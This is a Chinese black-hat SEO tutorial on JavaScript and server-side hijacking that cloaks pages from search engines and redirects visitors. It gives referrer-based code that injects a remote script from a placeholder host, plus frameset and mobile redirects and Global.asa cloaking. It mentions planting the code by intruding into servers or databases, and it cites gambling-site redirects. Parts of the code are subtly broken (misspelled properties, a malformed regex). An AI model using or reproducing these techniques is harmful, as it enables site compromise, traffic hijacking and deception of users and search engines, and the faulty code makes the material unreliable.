防止网站被k的js劫持跳转代码
由于目前搜索引擎对于js代码还没有办法完全识别,因此也就出现了利用js代码跳转的黑帽手法。现在网上有关js跳转代码比比皆是,但是作为黑帽的seo手法之一,如何做到有效降低跳转的网站被k风险,这才是我们需要研究的一个方向。下面简单分享一下有关js劫持的一些代码,我了解到的只是皮毛,有不足之处欢迎各位同仁给予指导。本文的重头戏将会在最后出现,请大家耐心往下看。js劫持主要有“服务器劫持”以及“用户端劫持”两种。
“服务器劫持”
服务器劫持也称为全局劫持,以修改网站动态语言文本,判断访问来源控制返回内容,从来达到网站劫持的目的。服务端劫持的判断方法:可以通过观察网站后端代码,或者通过改变ip,包头等方式,观察放回源码是否不同。也就是改变了每次访问网页从服务端获取到的网页代码。
asp/aspx/php劫持
Global.asa、Global.asax、conn.asp、conn.php等文件比较特殊,作用是在每次执行一个动态脚本的时候,都会先加载该脚本, 然后再执行目标脚本。所以只要在 Global.asa 中写判断用户系统信息的代码(访问来源等),如果是蜘蛛访问则返回关键词网页(想要推广的网站),如果是用户访问,则返回正常页面。
“用户端劫持”
客户端劫持的手法也很多,但主要就是2种:Header劫持、js劫持。用户端劫持的判断方法:只需观察浏览器呈现的网页前端代码,查看是否引用了不当的js,或者其它敏感内容。每次访问网页从服务端获取到的网页代码都是相同的,只是控制了网页代码在浏览器中呈现的效果(比如是否进行跳转等)。
1,header劫持
主要作用是:利用的就是Meta Refresh Tag(自动转向),将流量引走。
可以在源代码中写入以下代码:
<meta http-equiv=“refresh“ content=“10; url=http://www.xxx.com“>
2,js劫持
js劫持的作用:通过向目标网页植入恶意js代码,控制网站跳转、隐藏页面内容、窗口劫持等。
js植入手法:可以通过入侵服务器,直接写入源代码中;也可以写在数据库中,因为有些页面会呈现数据库内容。
js劫持案例
我们经常看到的菠菜跳转:通过搜索引擎搜索点击页面(执行一段js)跳转到博彩页面;直接输入网址访问网页,跳转到404页面。
代码:today=new Date(); today=today.getYear()+"-"+(today.getMonth()+1)+"-"+today.getDate(); var regexp=//.(sogou|so|haosou|baidu|google|youdao|yahoo|bing|gougou|118114|vnet|360|ioage|sm|sp)(/.[a-z0-9/-]+){1,2}///ig; var where =document.referer; if(regexp.test(where)){ document.write ('<script language="javascript" type="text/javascript" src="http://www.xxx.com/test.js"></script>'); } else { window.location.href="../../404.htm"; }
分析:通过referer判断来路,如果referer来路为空就是跳转到404页面,如果是搜索引擎来的referer里面也会有显示,然后在写代码控制跳转。如果只是控制实现显示不同的内容,可以修改php、asp代码;如果需要劫持搜索引擎搜索框,可以写JS代码来做浏览器本地跳转。当然js功能可以无限扩展,比如可以控制一个ip一天内第一次访问正常,其余访问跳转等等。
较有效的防k站js代码
如何有效防止或者延长网站被k的js代码,就目前来说,个人觉得还是一个比较可行的方法。方法是把pc端和手机端分开写入js代码,来实现跳转。应用方法:加入一个Javascript源文件(以js为扩展名),将以下代码添加在里面,文件命名为tz,然后在网页<head>下插入:<script src="js/tz.js></script>
网页pc端跳转
大家都知道,我们网站无论是整站优化还是单个页面,当关键词排名在首页时,做黑帽手法的网站就可以考虑做跳转到目标页面了。为了获取快速排名,所以做的页面也大部分考虑给搜索引擎看,应尽量做好内容的可读性和规避相似度,来满足搜索引擎需求,这样关键词就会很快上首页了。之后再做一个用户体验度较好的页面,把流量自然跳转到该页面,这样也就达到目的了。
代码如下:
document.writeln("document.write(\"<frameset rows=\'100%,*\'frameborder=\'NO\'border=\'0\'framespacing=\'0\'>\");");
document.writeln("document.write(\"<frame name=\'main\'src=\'http://www.xxxxxx.com/jiqiao/'scrolling=yes>\");");
document.writeln("document.write(\"<\/frameset>\");");
document.writeln("<\/script>");
网页手机端跳转
道理和pc端一样,我这里就不啰嗦了。代码如下:
<script type="text/javascript">
if(/Andorid|webOS|iPod|BlackBerry|Windows Phone/i.test(navigator.userAgent)){
if(window.location.href.indexOf("?pc")<0){try{window.location.href="http://www.xxxxxxxx.com/jiqiao/"}
catch(e){}}}</script>
注意点
值得注意的是,为了降低被k风险,我们做跳转页的时候尽量使主题和关键词一致,内容则以引导性为主,页面尽量优化好一点,提高用户体验度和降低跳出率,经测试此方法网站不容易被k,排名也比较稳定,当然,大家需要根据自己的实际情况来操作。